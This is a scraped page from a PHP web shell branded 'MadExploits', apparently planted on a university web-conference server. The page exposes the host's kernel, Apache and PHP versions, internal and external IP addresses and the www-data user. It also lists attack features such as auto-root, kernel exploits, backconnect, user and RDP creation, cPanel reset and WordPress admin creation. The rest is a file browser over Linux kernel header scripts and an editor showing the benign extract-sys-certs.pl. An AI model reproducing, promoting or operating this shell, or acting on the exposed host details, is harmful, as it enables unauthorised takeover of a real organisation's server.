Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.220.255.227
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-186 /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic
[ DIR ]
drwxr-xr-x
basic
[ DIR ]
drwxr-xr-x
coccinelle
[ DIR ]
drwxr-xr-x
dtc
[ DIR ]
drwxr-xr-x
gcc-plugins
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
genksyms
[ DIR ]
drwxr-xr-x
kconfig
[ DIR ]
drwxr-xr-x
ksymoops
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
tracing
[ DIR ]
drwxr-xr-x
.gitignore
145
B
-rw-r--r--
Kbuild.include
13.08
KB
-rw-r--r--
Kconfig.include
1.64
KB
-rw-r--r--
Lindent
502
B
-rwxr-xr-x
Makefile
1.75
KB
-rw-r--r--
Makefile.asm-generic
1.8
KB
-rw-r--r--
Makefile.build
17.78
KB
-rw-r--r--
Makefile.clean
2.15
KB
-rw-r--r--
Makefile.dtbinst
1.09
KB
-rw-r--r--
Makefile.extrawarn
2.81
KB
-rw-r--r--
Makefile.gcc-plugins
2.61
KB
-rw-r--r--
Makefile.headersinst
2.87
KB
-rw-r--r--
Makefile.host
6.86
KB
-rw-r--r--
Makefile.kasan
1.44
KB
-rw-r--r--
Makefile.kcov
359
B
-rw-r--r--
Makefile.lib
14.67
KB
-rw-r--r--
Makefile.modbuiltin
1.67
KB
-rw-r--r--
Makefile.modfinal
1.79
KB
-rw-r--r--
Makefile.modinst
1.31
KB
-rw-r--r--
Makefile.modpost
3.37
KB
-rw-r--r--
Makefile.modsign
791
B
-rw-r--r--
Makefile.package
6.5
KB
-rw-r--r--
Makefile.ubsan
864
B
-rw-r--r--
adjust_autoksyms.sh
2.62
KB
-rwxr-xr-x
asn1_compiler.c
35.33
KB
-rw-r--r--
bin2c.c
743
B
-rw-r--r--
bloat-o-meter
3.29
KB
-rwxr-xr-x
bootgraph.pl
5.64
KB
-rwxr-xr-x
bpf_helpers_doc.py
20.12
KB
-rwxr-xr-x
cc-can-link.sh
166
B
-rwxr-xr-x
check_extable.sh
4.93
KB
-rwxr-xr-x
checkincludes.pl
1.94
KB
-rwxr-xr-x
checkkconfigsymbols.py
15.5
KB
-rwxr-xr-x
checkpatch.pl
199.44
KB
-rwxr-xr-x
checkstack.pl
5.27
KB
-rwxr-xr-x
checksyscalls.sh
7.27
KB
-rwxr-xr-x
checkversion.pl
1.9
KB
-rwxr-xr-x
clang-version.sh
527
B
-rwxr-xr-x
cleanfile
3.46
KB
-rwxr-xr-x
cleanpatch
5.06
KB
-rwxr-xr-x
coccicheck
7.25
KB
-rwxr-xr-x
config
4.64
KB
-rwxr-xr-x
conmakehash.c
5.85
KB
-rw-r--r--
const_structs.checkpatch
964
B
-rw-r--r--
decode_stacktrace.sh
3.95
KB
-rwxr-xr-x
decodecode
2.57
KB
-rwxr-xr-x
depmod.sh
1.41
KB
-rwxr-xr-x
diffconfig
3.72
KB
-rwxr-xr-x
documentation-file-ref-check
5.43
KB
-rwxr-xr-x
export_report.pl
4.5
KB
-rwxr-xr-x
extract-cert.c
3.63
KB
-rw-r--r--
extract-ikconfig
1.69
KB
-rwxr-xr-x
extract-module-sig.pl
3.66
KB
-rwxr-xr-x
extract-sys-certs.pl
3.75
KB
-rwxr-xr-x
extract-vmlinux
1.66
KB
-rwxr-xr-x
extract_xc3028.pl
44.62
KB
-rwxr-xr-x
faddr2line
8.17
KB
-rwxr-xr-x
file-size.sh
86
B
-rwxr-xr-x
find-unused-docs.sh
1.27
KB
-rwxr-xr-x
gcc-goto.sh
511
B
-rwxr-xr-x
gcc-ld
711
B
-rwxr-xr-x
gcc-plugin.sh
1.06
KB
-rwxr-xr-x
gcc-version.sh
588
B
-rwxr-xr-x
gcc-x86_32-has-stack-protector...
173
B
-rwxr-xr-x
gcc-x86_64-has-stack-protector...
198
B
-rwxr-xr-x
gen_compile_commands.py
5.56
KB
-rwxr-xr-x
gen_ksymdeps.sh
610
B
-rwxr-xr-x
get_abi.pl
10.1
KB
-rwxr-xr-x
get_dvb_firmware
24.54
KB
-rwxr-xr-x
get_maintainer.pl
66.04
KB
-rwxr-xr-x
gfp-translate
1.69
KB
-rwxr-xr-x
headerdep.pl
3.5
KB
-rwxr-xr-x
headers_check.pl
3.73
KB
-rwxr-xr-x
headers_install.sh
3.59
KB
-rwxr-xr-x
insert-sys-cert.c
13.08
KB
-rw-r--r--
kallsyms.c
18.02
KB
-rw-r--r--
kernel-doc
60.88
KB
-rwxr-xr-x
kmsg-doc
12.13
KB
-rwxr-xr-x
ld-version.sh
269
B
-rwxr-xr-x
leaking_addresses.pl
12.8
KB
-rwxr-xr-x
link-vmlinux.sh
8.14
KB
-rwxr-xr-x
makelst
808
B
-rwxr-xr-x
markup_oops.pl
7.92
KB
-rwxr-xr-x
mkcompile_h
2.83
KB
-rwxr-xr-x
mkmakefile
426
B
-rwxr-xr-x
mksysmap
1.34
KB
-rwxr-xr-x
mkuboot.sh
414
B
-rwxr-xr-x
module-common.lds
901
B
-rw-r--r--
modules-check.sh
303
B
-rwxr-xr-x
namespace.pl
13.18
KB
-rwxr-xr-x
nsdeps
1.95
KB
-rw-r--r--
objdiff
2.84
KB
-rwxr-xr-x
parse-maintainers.pl
3.72
KB
-rwxr-xr-x
patch-kernel
9.95
KB
-rwxr-xr-x
pnmtologo.c
11.91
KB
-rw-r--r--
profile2linkerlist.pl
414
B
-rwxr-xr-x
prune-kernel
708
B
-rwxr-xr-x
recordmcount.c
16.75
KB
-rw-r--r--
recordmcount.h
19.37
KB
-rw-r--r--
recordmcount.pl
18.91
KB
-rwxr-xr-x
setlocalversion
4.72
KB
-rwxr-xr-x
show_delta
3.01
KB
-rwxr-xr-x
sign-file.c
9.93
KB
-rw-r--r--
sortextable.c
8.32
KB
-rw-r--r--
sortextable.h
5.45
KB
-rw-r--r--
spdxcheck-test.sh
323
B
-rw-r--r--
spdxcheck.py
9.92
KB
-rwxr-xr-x
spelling.txt
28.76
KB
-rw-r--r--
sphinx-pre-install
17.59
KB
-rwxr-xr-x
split-man.pl
604
B
-rwxr-xr-x
stackdelta
1.84
KB
-rwxr-xr-x
stackusage
794
B
-rwxr-xr-x
subarch.include
641
B
-rw-r--r--
tags.sh
9.56
KB
-rwxr-xr-x
tools-support-relr.sh
546
B
-rwxr-xr-x
ubuntu-retpoline-extract-one
7.26
KB
-rw-r--r--
unifdef.c
34.8
KB
-rw-r--r--
ver_linux
2.69
KB
-rwxr-xr-x
xen-hypercalls.sh
386
B
-rw-r--r--
xz_wrap.sh
563
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extract-sys-certs.pl
#!/usr/bin/env perl # SPDX-License-Identifier: GPL-2.0 # use warnings; use strict; use Math::BigInt; use Fcntl "SEEK_SET"; die "Format: $0 [-s <systemmap-file>] <vmlinux-file> <keyring-file>\n" if ($#ARGV != 1 && $#ARGV != 3 || $#ARGV == 3 && $ARGV[0] ne "-s"); my $sysmap = ""; if ($#ARGV == 3) { shift; $sysmap = $ARGV[0]; shift; } my $vmlinux = $ARGV[0]; my $keyring = $ARGV[1]; # # Parse the vmlinux section table # open FD, "objdump -h $vmlinux |" || die $vmlinux; my @lines = <FD>; close(FD) || die $vmlinux; my @sections = (); foreach my $line (@lines) { chomp($line); if ($line =~ /\s*([0-9]+)\s+(\S+)\s+([0-9a-f]+)\s+([0-9a-f]+)\s+([0-9a-f]+)\s+([0-9a-f]+)\s+2[*][*]([0-9]+)/ ) { my $seg = $1; my $name = $2; my $len = Math::BigInt->new("0x" . $3); my $vma = Math::BigInt->new("0x" . $4); my $lma = Math::BigInt->new("0x" . $5); my $foff = Math::BigInt->new("0x" . $6); my $align = 2 ** $7; push @sections, { name => $name, vma => $vma, len => $len, foff => $foff }; } } print "Have $#sections sections\n"; # # Try and parse the vmlinux symbol table. If the vmlinux file has been created # from a vmlinuz file with extract-vmlinux then the symbol table will be empty. # open FD, "nm $vmlinux 2>/dev/null |" || die $vmlinux; @lines = <FD>; close(FD) || die $vmlinux; my %symbols = (); my $nr_symbols = 0; sub parse_symbols(@) { foreach my $line (@_) { chomp($line); if ($line =~ /([0-9a-f]+)\s([a-zA-Z])\s(\S+)/ ) { my $addr = "0x" . $1; my $type = $2; my $name = $3; $symbols{$name} = $addr; $nr_symbols++; } } } parse_symbols(@lines); if ($nr_symbols == 0 && $sysmap ne "") { print "No symbols in vmlinux, trying $sysmap\n"; open FD, "<$sysmap" || die $sysmap; @lines = <FD>; close(FD) || die $sysmap; parse_symbols(@lines); } die "No symbols available\n" if ($nr_symbols == 0); print "Have $nr_symbols symbols\n"; die "Can't find system certificate list" unless (exists($symbols{"__cert_list_start"}) && exists($symbols{"system_certificate_list_size"})); my $start = Math::BigInt->new($symbols{"__cert_list_start"}); my $end; my $size; my $size_sym = Math::BigInt->new($symbols{"system_certificate_list_size"}); open FD, "<$vmlinux" || die $vmlinux; binmode(FD); my $s = undef; foreach my $sec (@sections) { my $s_name = $sec->{name}; my $s_vma = $sec->{vma}; my $s_len = $sec->{len}; my $s_foff = $sec->{foff}; my $s_vend = $s_vma + $s_len; next unless ($start >= $s_vma); next if ($start >= $s_vend); die "Certificate list size was not found on the same section\n" if ($size_sym < $s_vma || $size_sym > $s_vend); die "Cert object in multiple sections: ", $s_name, " and ", $s->{name}, "\n" if ($s); my $size_off = $size_sym -$s_vma + $s_foff; my $packed; die $vmlinux if (!defined(sysseek(FD, $size_off, SEEK_SET))); sysread(FD, $packed, 8); $size = unpack 'L!', $packed; $end = $start + $size; printf "Have %u bytes of certs at VMA 0x%x\n", $size, $start; die "Cert object partially overflows section $s_name\n" if ($end > $s_vend); $s = $sec; } die "Cert object not inside a section\n" unless ($s); print "Certificate list in section ", $s->{name}, "\n"; my $foff = $start - $s->{vma} + $s->{foff}; printf "Certificate list at file offset 0x%x\n", $foff; die $vmlinux if (!defined(sysseek(FD, $foff, SEEK_SET))); my $buf = ""; my $len = sysread(FD, $buf, $size); die "$vmlinux" if (!defined($len)); die "Short read on $vmlinux\n" if ($len != $size); close(FD) || die $vmlinux; open FD, ">$keyring" || die $keyring; binmode(FD); $len = syswrite(FD, $buf, $size); die "$keyring" if (!defined($len)); die "Short write on $keyring\n" if ($len != $size); close(FD) || die $keyring;
Close
